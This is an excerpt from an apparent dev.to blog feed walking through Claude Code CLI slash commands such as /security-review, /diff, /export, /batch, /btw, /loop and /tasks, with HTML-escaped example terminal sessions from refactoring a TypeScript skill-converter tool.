      4  // Cache &lt;span class="k"&gt;for &lt;/span&gt;file system checks to avoid repeated &lt;span class="nb"&gt;stat &lt;/span&gt;calls
      5  const statCache &lt;span class="o"&gt;=&lt;/span&gt; new Map&amp;lt;string, &lt;span class="o"&gt;{&lt;/span&gt; exists: boolean&lt;span class="p"&gt;;&lt;/span&gt; isDirectory?: boolean&lt;span class="p"&gt;;&lt;/span&gt; timestamp: number &lt;span class="o"&gt;}&amp;gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      6 &lt;span class="nt"&gt;-const&lt;/span&gt; CACHE_TTL &lt;span class="o"&gt;=&lt;/span&gt; 5000&lt;span class="p"&gt;;&lt;/span&gt; // 5 seconds
      6 +const CACHE_TTL &lt;span class="o"&gt;=&lt;/span&gt; 10000&lt;span class="p"&gt;;&lt;/span&gt; // 10 seconds
      7
      8  &lt;span class="k"&gt;function &lt;/span&gt;clearExpiredCache&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
      9    const now &lt;span class="o"&gt;=&lt;/span&gt; Date.now&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

● 2. Next, unchain the &lt;span class="nb"&gt;exit &lt;/span&gt;codes &lt;span class="k"&gt;in &lt;/span&gt;directoryExists and fileExists:

● Update&lt;span class="o"&gt;(&lt;/span&gt;src/lib/fs.ts&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Removed 1 line
      63   &lt;span class="k"&gt;*&lt;/span&gt; Check &lt;span class="k"&gt;if &lt;/span&gt;a directory exists.
      64   &lt;span class="k"&gt;*&lt;/span&gt;/
      65  &lt;span class="nb"&gt;export &lt;/span&gt;async &lt;span class="k"&gt;function &lt;/span&gt;directoryExists&lt;span class="o"&gt;(&lt;/span&gt;path: string&lt;span class="o"&gt;)&lt;/span&gt;: Promise&amp;lt;boolean&amp;gt; &lt;span class="o"&gt;{&lt;/span&gt;
      66 -  clearExpiredCache&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      66    const result &lt;span class="o"&gt;=&lt;/span&gt; await cachedStat&lt;span class="o"&gt;(&lt;/span&gt;path&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      67    &lt;span class="k"&gt;return &lt;/span&gt;result.exists &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; result.isDirectory&lt;span class="p"&gt;;&lt;/span&gt;
      68  &lt;span class="o"&gt;}&lt;/span&gt;

● Update&lt;span class="o"&gt;(&lt;/span&gt;src/lib/fs.ts&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Removed 1 line
      71   &lt;span class="k"&gt;*&lt;/span&gt; Check &lt;span class="k"&gt;if &lt;/span&gt;a file exists.
      72   &lt;span class="k"&gt;*&lt;/span&gt;/
      73  &lt;span class="nb"&gt;export &lt;/span&gt;async &lt;span class="k"&gt;function &lt;/span&gt;fileExists&lt;span class="o"&gt;(&lt;/span&gt;path: string&lt;span class="o"&gt;)&lt;/span&gt;: Promise&amp;lt;boolean&amp;gt; &lt;span class="o"&gt;{&lt;/span&gt;
      74 -  clearExpiredCache&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      74    const result &lt;span class="o"&gt;=&lt;/span&gt; await cachedStat&lt;span class="o"&gt;(&lt;/span&gt;path&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      75    &lt;span class="k"&gt;return &lt;/span&gt;result.exists &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;result.isDirectory&lt;span class="p"&gt;;&lt;/span&gt;
      76  &lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/security-review&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Using LLMs for code generation can add security concerns, scaling with the model’s capabilities to not introduce them in the first place. A thorough review to find and address issues should be done regularly.&lt;/p&gt;

&lt;p&gt;Similar to the other review commands, this one checks the current source code, or if not on the default branch, evaluates potential security issues of the current branch against the default branch. Aspects like validation, potential path-traversal, permissions, and finally general code quality will be checked.&lt;/p&gt;

&lt;p&gt;Here is an example.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Now &lt;span class="nb"&gt;let&lt;/span&gt;&lt;span class="s1"&gt;'s run a security review on the changes compared to main:

● Skill(security)
  ⎿  Initializing…
  ⎿  Error: Unknown skill: security

● Let me check what security issues might be present in the changes by examining the code:

  Read 1 file (ctrl+o to expand)

● Let me check for any potential security vulnerabilities in the utils.ts file:

  Read 1 file (ctrl+o to expand)

● Let me check the validation functions in utils.ts:

  Read 1 file (ctrl+o to expand)

....

● Let me search for the duplicate:

  Searched for 2 patterns (ctrl+o to expand)

● I see the duplicate at lines 66-67. Let me fix it:

● Update(src/lib/converter.ts)
  ⎿  Removed 1 line
      64      ]);
      65
      66      await writeConversionMarker(context.outputDir);
      67 -    await writeConversionMarker(context.outputDir);
      67
      68      return {
      69        success: true,

...
  Security Review Summary

  After reviewing the changes in src/lib/converter.ts, src/lib/fs.ts, and src/lib/utils.ts, here are the security findings:

  ✅ Security Strengths

  1. Path Validation: The code uses sanitizePath() with resolve() and normalize() to prevent directory traversal attacks
  2. Safe YAML Parsing: Uses safe schema for YAML parsing to prevent code injection
  3. Input Validation: Proper validation of required fields and file existence
  4. Error Handling: Errors don'&lt;/span&gt;t leak sensitive information

  ✅ No Critical Security Issues Found

  The changes appear to be secure and follow good security practices:
  - No path traversal vulnerabilities
  - No &lt;span class="nb"&gt;command &lt;/span&gt;injection risks
  - Proper input sanitization
  - Safe file operations
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/diff&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;When working on a source code repository that uses git, this command lists all changed, but not yet committed files.&lt;/p&gt;

&lt;p&gt;Its interface is sophisticated, allowing a vertical navigation that lists the "turns", individual user prompts and how they changed editted files. This allows for a fine-granular view of changes. Additionally, you can also select and commit individual files.&lt;/p&gt;

&lt;p&gt;Here is an example during working on the universal skill converter.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; /diff

───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
  Uncommitted changes &lt;span class="o"&gt;(&lt;/span&gt;git diff HEAD&lt;span class="o"&gt;)&lt;/span&gt;

  Current · T49 · T40 · T39 · T35 · T34 · T33 · T32 · T31 · T30 · T29 · T28 · T12 · T7 ▶

  2 files changed

  ❯ .claude/statusline-command.cjs                                                                              untracked
    2026-04-25-093249-this-session-is-being-continued-from-a-previous-c.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And selecting a turn that modified the README.md.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; Turn 49 &lt;span class="s2"&gt;"Ok. Update REQUIREMENTS.md wi…"&lt;/span&gt;

  ◀ Current · T49 · T40 · T39 · T35 · T34 · T33 · T32 · T31 · T30 · T29 · T28 · T12 · T7 ▶

  1 file changed +94 &lt;span class="nt"&gt;-13&lt;/span&gt;


  ❯ /opt/claude/REQUIREMENTS.md                                                                         +94 &lt;span class="nt"&gt;-13&lt;/span&gt;

  ←/→ &lt;span class="nb"&gt;source&lt;/span&gt; · ↑/↓ &lt;span class="k"&gt;select&lt;/span&gt; · Enter view · Esc close
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/copy&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;A simple command that copies the last system response, not the result of a command, from the CLI terminal to your clipboard.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;❯ /copy
  ⎿  Copied to clipboard &lt;span class="o"&gt;(&lt;/span&gt;65 characters, 3 lines&lt;span class="o"&gt;)&lt;/span&gt;
     Also written to /tmp/claude/response.md

&lt;span class="c"&gt;# Content buffer from the clipboard&lt;/span&gt;
Security Review Summary

  After reviewing the changes &lt;span class="k"&gt;in &lt;/span&gt;src/lib/converter.ts, src/lib/fs.ts, and src/lib/utils.ts, here are the security findings:

  ...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/export&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;After a specifically long session, you can export the complete conversation. The resulting file is a verbose export of user, system, and tool messages.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/export
  ⎿  Conversation exported to: /opt/claude/universal-skill-converter/2026-04-25-093249-optimizations.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A preview into this file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;╭─── Claude Code v2.1.91 ──────────────────────────────────────────────────────╮
│                                           │ Tips &lt;span class="k"&gt;for &lt;/span&gt;getting started         │
│               Welcome back!               │ ✔ Run /init to create a CLAUDE.… │
│                                           │ ──────────────────────────────── │
│                  ▐▛███▜▌                  │ Recent activity                  │
│                 ▝▜█████▛▘                 │ No recent activity               │
│                   ▘▘ ▝▝                   │                                  │
│                                           │                                  │
│    claude-haiku-4.5 · API Usage Billing   │                                  │
│   /opt/claude/universal-skill-converter   │                                  │
╰──────────────────────────────────────────────────────────────────────────────╯

✻ Conversation compacted &lt;span class="o"&gt;(&lt;/span&gt;ctrl+o &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="nb"&gt;history&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

❯ /compact
  ⎿  Compacted &lt;span class="o"&gt;(&lt;/span&gt;ctrl+o to see full summary&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read src/lib/utils.ts &lt;span class="o"&gt;(&lt;/span&gt;162 lines&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read ../.gitenv &lt;span class="o"&gt;(&lt;/span&gt;4 lines&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read src/lib/validator.ts &lt;span class="o"&gt;(&lt;/span&gt;144 lines&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read src/lib/migrate.ts &lt;span class="o"&gt;(&lt;/span&gt;35 lines&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read src/lib/marker.ts &lt;span class="o"&gt;(&lt;/span&gt;58 lines&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Plan file referenced &lt;span class="o"&gt;(&lt;/span&gt;~/.claude/plans/fluttering-growing-lecun.md&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Skills restored &lt;span class="o"&gt;(&lt;/span&gt;review, simplify&lt;span class="o"&gt;)&lt;/span&gt;

❯ /review

● I&lt;span class="s1"&gt;'ll run gh pr list to see the open PRs and then review them.

● Bash(gh pr list)
  ⎿  12 refactor: improve utility functions to be more generic    
     feature/optimizations    
     OPEN    2026-04-25T09:15:26Z

● Now let me get the diff to review the code changes.

● Bash(gh pr diff 12)
  ⎿  diff --git a/CHANGELOG.md b/CHANGELOG.md
     index e7e6688..d99b9f3 100644
     --- a/CHANGELOG.md
     … +228 lines (ctrl+o to expand)

● Based on the diff, I can see that PR #12 includes several improvements to
  utility functions and optimizations. Let me analyze this thoroughly.
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;The Claude Code CLI offers more than 40 subcommands. In an ongoing blog series, all commands are explored systematically. In this article, conversation ops and terminal configuration was the focus. For conversation ops, you learned a) to rename the current session with a meaningful, rememberable name, b) put Claude into planning mode, detailing complex changes in an editable markdown file, c) checking the code-quality, d) applying a review of an merge request, and optionally pull comments from GitHub, e) applying a complete security review of your code, f) show conversation turns and modified files, g) to copy the last system message to the clipboard, and finally h) exporting the complete conversation. And in the permission's section, you&lt;/p&gt;

</description>
      <category>claude</category>
      <category>claudecode</category>
    </item>
    <item>
      <title>Claude Code CLI: Session &amp; Context Management</title>
      <dc:creator>Sebastian</dc:creator>
      <pubDate>Mon, 29 Jun 2026 05:33:07 +0000</pubDate>
      <link>https://dev.to/admantium/claude-code-cli-session-context-management-546f</link>
      <guid>https://dev.to/admantium/claude-code-cli-session-context-management-546f</guid>
      <description>&lt;p&gt;Claude Code is an agentic tool for code generation. It helps developers to implement new features, analyze and solve bugs, and refactoring of complex code bases. Inside a Claude session, several slash commands are offered. Knowing their functions, and the context in which they are applicable, is essential for using the tool in its full potential.&lt;/p&gt;

&lt;p&gt;In an ongoing blog series, all CLI commands are explored systematically. The focus of this article are commands for session and context management - essential for staying focused in long coding session.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The technical context of this article is &lt;code&gt;claude_code v2.1.91&lt;/code&gt;, published on 2026-04-02. Examples and most CLI commands should work with newer versions too.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;While I'm fascinated by the capabilities of artificial intelligence tools and applications, crafting blog articles remains my personal skill. Every character, number, and symbol in this article was typed manually, with the exception of verbose copies from log messages and screenshots.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article originally appeared at my blog &lt;a href="https://admantium.com/blog/claude03_session_and_context_management/" rel="noopener noreferrer"&gt;admantium.com&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Claude Code CLI: Slash Command Overview
&lt;/h2&gt;

&lt;p&gt;Once a Claude Code session is started, more than 40 built-in slash-commands are available. They can be grouped into different categories that reflect the session lifecycle of its invocation, augmented by universal commands. Here is my proposed structure:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;✅ Session Configuration&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/add-dir&lt;/code&gt;: Add an additional working directory to the current session&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/rename&lt;/code&gt;: Provide a meaningful name to the conversation, which reflects the variable name of the conversation file&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/model&lt;/code&gt;: Determine the LLM model to be used&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/effort&lt;/code&gt;: Configures the effort level of the model, adjusting its internal reasoning behavior&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/login&lt;/code&gt;: Log in to the Anthropic subscription or Console&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/logout&lt;/code&gt;: Log out of an Anthropic account&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;✅ Session Reflection&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/cost&lt;/code&gt;: Shows the current session cost&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/usage&lt;/code&gt;: Shows token consumption in the context of a subscription plan&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/status&lt;/code&gt;: Shows essential CLI, model, and account information&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/stats&lt;/code&gt;: Shows usage statistics and activity overview&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/config&lt;/code&gt;: General purpose configuration&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/update-config&lt;/code&gt;: Customizations of Claude Code internals&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/export&lt;/code&gt;: Create a compact conversation summary&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/insights&lt;/code&gt;: Generates a detailed report with meta information about the current session&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🌀 Session Management&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/batch&lt;/code&gt;: Execute a plan file as a parallel running sub-session&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/btw&lt;/code&gt;: Process an additional instruction during a long-running main task&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/loop&lt;/code&gt;: Run a specific prompt periodically&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/tasks&lt;/code&gt;: List all background tasks&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/fork&lt;/code&gt;: Define a staging point in the conversation history from which different branches can be invoked&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/rewind&lt;/code&gt;: Roll back the conversation and optionally code base to an earlier state&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/exit&lt;/code&gt;: Stop the terminal&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/resume&lt;/code&gt;: Continue a session&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🌀 Context Management&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/clear&lt;/code&gt;: Reset the conversation history&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/compact&lt;/code&gt;: Define a new conversation history entry, limiting the context that is sent to the LLM provider&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/context&lt;/code&gt;: Visualize current context usage as a colored grid&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/memory&lt;/code&gt;: Edit Claude memory files&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Conversation Ops&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/rename&lt;/code&gt;: Provide a meaningful name to the conversation&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/init&lt;/code&gt;: Read the current project and generate a CLAUDE.md file&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/plan&lt;/code&gt;: Toggle between editing and plan mode&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/simplify&lt;/code&gt;: Review the changed code for efficiency&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/review&lt;/code&gt;: Review a merge request and optionally check comments from an origin repo&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/security-review&lt;/code&gt;: Invoke a special agent that checks the source code for security issues&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/diff&lt;/code&gt;: View and commit staged file changes&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/copy&lt;/code&gt;: Copy the last answer to the clipboard&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/export&lt;/code&gt;: Create a compact conversation summary&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Terminal Configuration&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/theme&lt;/code&gt;: Configure the color theme&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/color&lt;/code&gt;: Configure prompt bar color&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/terminal-setup&lt;/code&gt;: Configure key bindings&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/vim&lt;/code&gt;: Enable or disable VIM editor support when editing files via the CLI&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/statusline&lt;/code&gt;: Set up a custom status line for the terminal&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Diagnostics &amp;amp; User Support&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/release-notes&lt;/code&gt;: Show the Claude Code release notes&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/doctor&lt;/code&gt;: Check configuration status&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/debug&lt;/code&gt;: Enable verbose debugging output and check for known issues&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/feedback&lt;/code&gt;: Write feedback about your Claude Code experience&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/help&lt;/code&gt;: Show general information about available slash commands&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/powerup&lt;/code&gt;: Explore Claude Code feature with small lessons&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/stickers&lt;/code&gt;: Order Claude Code stickers&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/buddy&lt;/code&gt;: Hatch a Tamagotchi-like coding companion&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Permissions&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/permissions&lt;/code&gt;: Fine-grained allow &amp;amp; deny tool permission rules&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/sandbox&lt;/code&gt;: Configure settings to secure Claude terminal access and program execution rights&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Extensions&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/hooks&lt;/code&gt;: View hook configurations for tool events&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/skills&lt;/code&gt;: View installed skills&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/agents&lt;/code&gt;: Create and manage agents&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/mcp&lt;/code&gt;: Set up and manage MCP server definitions&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/chrome&lt;/code&gt;: Start a local Chromium browser for browser interaction&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/plugin&lt;/code&gt;: Browse and configure CLI extension&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/reload-plugins&lt;/code&gt;: Reload all configured plugins&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Integrations&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/ide&lt;/code&gt;: Show IDE integrations for Claude, for example in Visual Studio Code&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/install-github-app&lt;/code&gt;: Configure GitHub actions that interact with Claude&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/install-slack-app&lt;/code&gt;: Configure Slack integration&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/mobile&lt;/code&gt;: Show a QR code to download the iOS or Android app&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/claude-api&lt;/code&gt;: Build native apps that integrate with Anthropic SDK&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Groups and commands marked with ✅ were covered in an earlier article, while those with 🌀 are the focus of this article.&lt;/p&gt;

&lt;h2&gt;
  
  
  Session Management
&lt;/h2&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;/batch&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;In a conventional session with Claude Code, commands are executed linearly. A user prompt gets embedded into a system prompt, the LLM provider process the prompts in thinking mode, suggest tool calls that are executed and looped back to the model, until the model declares a task completed.&lt;/p&gt;

&lt;p&gt;To accelerate the execution of complex tasks, the batch command takes a stored plan, analyzes it, and depatches several sub-agents to work on it.&lt;/p&gt;

&lt;p&gt;Here is an example of invoking that command to refactor my skill-converter app from NodeJS to Python.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/batch implement the universal-skill-converter plan

● I&lt;span class="s1"&gt;'ll implement the universal-skill-converter refactoring to Python. Let me start by
  entering plan mode to create a detailed batch execution plan.

● Entered plan mode
  Claude is now exploring and designing an implementation approach.

∴ Thinking…

  The user is now asking me to implement the universal-skill-converter plan. They'&lt;/span&gt;ve given me
   the /batch &lt;span class="nb"&gt;command &lt;/span&gt;which means I need to:

  1. Enter plan mode
  2. Research the scope &lt;span class="o"&gt;(&lt;/span&gt;I&lt;span class="s1"&gt;'ve already done this in the previous conversation)
  3. Decompose into independent units
  4. Determine e2e test recipe
  5. Write the plan
  6. Exit plan mode
  7. Spawn workers

  I already have a comprehensive understanding of the codebase from the previous exploration.
   Let me now create a proper plan for the batch execution.

  From the previous exploration, I know:
  - The project is a TypeScript/Node.js CLI tool that converts skills from skill.sh to
  clawhub format
  - It has 14 TypeScript modules in src/lib/
  - It has CLI commands in src/commands/
  - It has types in src/types/
  - It has UI in src/ui/
  - There are 94 tests

  For the batch approach, I need to:
  1. Create work units that are independently implementable
  2. Each unit should be in an isolated worktree
  3. Each unit should be mergeable on its own
  4. Each unit should be roughly uniform in size
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/btw&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Instructions entered in the CLI start a long-running process. The process can be interrupted by pressing &lt;code&gt;ESC&lt;/code&gt;, or aborted with &lt;code&gt;ESC-ESC&lt;/code&gt;. If you want to let Claude on a parallel task, the "by-the-way" command can be executed.&lt;/p&gt;

&lt;p&gt;Here is an example for this invocation during the refactoring to Python main task&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/btw list background processes

    I don&lt;span class="s1"&gt;'t have access to any tools to list background processes. As a separate lightweight
    agent without file system or command execution capabilities, I cannot run commands or
    view the system'&lt;/span&gt;s process list.

    You would need to use your terminal&lt;span class="s1"&gt;'s commands directly, such as:
    - ps aux (Linux/macOS)
    - tasklist (Windows)
    - pgrep (to find specific processes)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/loop&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;This command allows you to run a specififc prompt or other command periodically. This can be helpfull in long running sessions, when you want to e.g. update documents like the &lt;code&gt;CLAUDE.md&lt;/code&gt; file, or run linter or test commands on code bases.&lt;/p&gt;

&lt;p&gt;Here is an example.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/loop 1m &lt;span class="s2"&gt;"run /init"&lt;/span&gt;

● CronCreate&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;/1 &lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt;: run /init&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿ &amp;nbsp;Scheduled d6ad1c81 &lt;span class="o"&gt;(&lt;/span&gt;Every minute&lt;span class="o"&gt;)&lt;/span&gt;

● Skill&lt;span class="o"&gt;(&lt;/span&gt;init&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿ &amp;nbsp;Successfully loaded skill

  Searched &lt;span class="k"&gt;for &lt;/span&gt;3 patterns, &lt;span class="nb"&gt;read &lt;/span&gt;1 file &lt;span class="o"&gt;(&lt;/span&gt;ctrl+o to &lt;span class="nb"&gt;expand&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

● The CLAUDE.md already exists at /opt/claude/universal-skill-converter/CLAUDE.md and appears comprehensive and
  accurate. It includes:

  - Commands: dev, build, &lt;span class="nb"&gt;test&lt;/span&gt;, coverage, typecheck, lint, format
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/tasks&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;During investigating complex code bases, or when working with the &lt;code&gt;/batch&lt;/code&gt; command, several parallel running tasks are spawned, including tool calls and agent invocations. They can be observed with the same-named command.&lt;/p&gt;

&lt;p&gt;Here is an example during the above refactoring step.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;● Let me explore the codebase more thoroughly to create an effective batch execution plan.

● Read&lt;span class="o"&gt;(&lt;/span&gt;/opt/claude/universal-skill-converter/package.json&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read 50 lines

● Read&lt;span class="o"&gt;(&lt;/span&gt;/opt/claude/universal-skill-converter/tsconfig.json&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read 21 lines

● Search&lt;span class="o"&gt;(&lt;/span&gt;pattern: &lt;span class="s2"&gt;"src/**/*.ts"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Found 18 files
     src/lib/meta.ts
     src/lib/path.ts
     src/lib/slug.ts
     src/lib/errors.ts
     src/lib/fs.ts
     src/lib/migrate.ts
     src/lib/yaml.ts
     src/commands/convert.ts
     src/index.ts
     src/lib/converter.ts
     src/lib/marker.ts
     src/lib/remote.ts
     src/lib/transform.ts
     src/lib/validator.ts
     src/types/index.ts
     src/ui/output.ts
     src/ui/prompts.ts
     src/ui/verbose.ts

● Read&lt;span class="o"&gt;(&lt;/span&gt;/opt/claude/universal-skill-converter/src/commands/convert.ts&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read 227 lines

● Read&lt;span class="o"&gt;(&lt;/span&gt;/opt/claude/universal-skill-converter/src/lib/converter.ts&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read 102 lines

